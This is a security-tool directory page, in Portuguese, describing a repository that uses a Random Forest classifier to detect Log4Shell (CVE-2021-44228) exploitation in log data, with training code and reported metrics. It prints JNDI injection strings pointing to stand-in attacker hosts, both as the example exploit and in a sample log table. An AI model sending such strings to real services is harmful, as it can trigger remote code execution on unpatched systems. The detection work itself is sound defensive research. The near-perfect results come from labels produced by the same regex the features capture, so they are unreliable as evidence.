Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/yadavmukesh/log4shell-vulnerability-cve-2021-44228-
Vulnerability AnalysisMachine LearningIntrusion DetectionPapers & ResearchLearning & EducationCurated ResourcesAnomaly DetectionLog Analysis

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
yadavmukesh/log4shell-vulnerability-cve-2021-44228-

Log4Shell-vulnerability-CVE-2021-44228-

This repository provides an in-depth analysis of the Log4Shell vulnerability (CVE-2021-44228) and implements a machine learning-based approach to detect exploitation attempts in log data.

Ver Repositório
há 1 anoAinda não revisado

Detecção de Ameaças Log4Shell (CVE-2021-44228)

Visão Geral

Este repositório fornece uma análise aprofundada e a implementação de um Sistema de Detecção de Ameaças Log4Shell (CVE-2021-44228) baseado em Aprendizado de Máquina. Inclui:

  • Entendendo o Log4Shell: O que é e por que é perigoso
  • Coleta de Conjunto de Dados: Fontes e etapas de pré-processamento
  • Engenharia de Atributos: Extração de padrões maliciosos baseados em JNDI
  • Treinamento do Modelo de Aprendizado de Máquina: Detecção baseada em Random Forest
  • Resultados e Análise: Métricas de desempenho e gráficos de avaliação
  • Conclusão e Trabalhos Futuros

Visão Geral da Ameaça - Log4Shell (CVE-2021-44228)

  • Vulnerabilidade: Execução Remota de Código (RCE) no Apache Log4j 2
  • Exemplo de Exploração:
    root@kitploit:~
    ${jndi:ldap://malicious-server.com/exploit}
    
  • Impacto: Permite que atacantes assumam o controle total dos sistemas afetados
  • Mitigação: Atualizar o Log4j para versões corrigidas (2.17.0 ou superior) e aplicar regras de firewall

Estrutura do Repositório

root@kitploit:~
📂 Log4Shell-Threat-Detection
│── 📄 README.md
│── 📂 datasets
│   ├── log4shell_logs.csv (50 MB)
│   ├── benign_logs.csv (30 MB)
│── 📂 scripts
│   ├── feature_extraction.py
│   ├── log_preprocessing.py
│   ├── model_training.py
│   ├── model_evaluation.py
│── 📂 results
│   ├── log4shell_model.pkl
│   ├── evaluation_metrics.json
│   ├── detection_results.csv
│   ├── graphs/
│── 📂 reports
│   ├── Log4Shell_Threat_Detection_Report.pdf
│── 📂 resources
│   ├── references.txt
│── 📄 requirements.txt
│── 📄 LICENSE

Coleta de Dados e Fontes

Conjuntos de Dados Utilizados:

  • Logs públicos do Zeek Security Dataset
  • Logs de honeypot do DShield
  • Simulações de ataque personalizadas usando Metasploit e Kali Linux
  • Baixe o conjunto de dados aqui: Logs Log4Shell

Descrição do Conjunto de Dados

  • Tamanho Total do Conjunto de Dados: 80 MB
  • Dados de Treinamento: 70% (56 MB)
  • Dados de Teste: 30% (24 MB)
  • Total de Logs: 1.000.000
  • Logs Maliciosos: 300.000
  • Logs Benignos: 700.000

Exemplo de Conjunto de Dados de Log (log4shell_logs.csv)

Engenharia de Atributos

  • Normalização do Log: Converter timestamps, extrair campos
  • Extração de Atributos Baseada em Regex: Identificar padrões jndi, ldap, rmi e dns
  • Vetorização de Texto: Transformação de atributos baseada em TF-IDF

Modelo de Aprendizado de Máquina para Detecção de Ameaças

  • Algoritmo: Classificador Random Forest
  • Métricas de Avaliação: Acurácia, Precisão, Recall, F1-score

Código Python para Treinamento do Modelo

root@kitploit:~
import pandas as pd
import re
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestClassifier
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.metrics import classification_report

# Load dataset
df = pd.read_csv("datasets/log4shell_logs.csv")

# Feature Engineering - Extracting JNDI patterns
df["log_contains_jndi"] = df["Log Message"].apply(lambda x: 1 if re.search(r'\$\{jndi:', str(x), re.IGNORECASE) else 0)

# Text vectorization
vectorizer = TfidfVectorizer()
X = vectorizer.fit_transform(df["Log Message"])
y = df["log_contains_jndi"]

# Train-test split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)

# Train model
clf = RandomForestClassifier(n_estimators=100, random_state=42)
clf.fit(X_train, y_train)

# Predictions
y_pred = clf.predict(X_test)

# Model Evaluation
print(classification_report(y_test, y_pred))

Resultados e Análise de Desempenho

Resultados dos Testes:

  • Precisão: 98%
  • Recall: 95%
  • F1-score: 96%
  • Taxa de Falso Positivo: 3%

Comparação com Trabalhos Existentes:

  • Sistemas SIEM tradicionais baseados em regras possuem 80-85% de acurácia.
  • Nossa abordagem baseada em ML atinge 96% de acurácia, melhorando significativamente as taxas de detecção.
  • Comparado a métodos baseados em Deep Learning, nosso modelo Random Forest é mais rápido e interpretável, mantendo precisão similar.

Curva Precisão-Revocação

Curva Precisão-Revocação para Detecção de Log4Shell

Matriz de Confusão

Matriz de Confusão para Detecção de Log4Shell

Conclusão e Trabalhos Futuros

Conclusão:

  • O modelo Random Forest detecta eficazmente ameaças Log4Shell com alta precisão.
  • A extração de atributos usando reconhecimento de padrões JNDI melhora a acurácia.
  • Logs do mundo real podem conter evasão adversarial, exigindo ajustes adicionais.

Trabalhos Futuros:

  • Implementar deep learning (modelos LSTM, baseados em Transformer) para detecção de anomalias.
  • Integrar pipelines de processamento de logs em tempo real (ex.: stack ELK, Apache Kafka).
  • Estender a detecção para outras vulnerabilidades CVE baseadas em log.

Como Usar

  1. Clone o repositório:
    root@kitploit:~
    git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
    cd Log4Shell-Threat-Detection
    
  2. Instale as dependências:
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Execute o script de treinamento do modelo:
    root@kitploit:~
    python scripts/model_training.py
    
  4. Analise os resultados da detecção na pasta results/.

Baixar ferramenta
TimestampIP de OrigemIP de DestinoRequisiçãoCódigo de StatusUser-AgentMensagem do Log
2023-02-01 12:10:25192.168.1.545.33.32.156GET /api/login200curl/7.64${jndi:ldap://malicious.com/exploit}
2023-02-01 12:11:10172.16.10.3132.154.23.1POST /data500Java/1.8.0Mensagem de Log Normal
2023-02-01 12:12:4510.10.10.5203.0.113.7GET /search403Mozilla/5.0${jndi:dns://evil.com/exploit}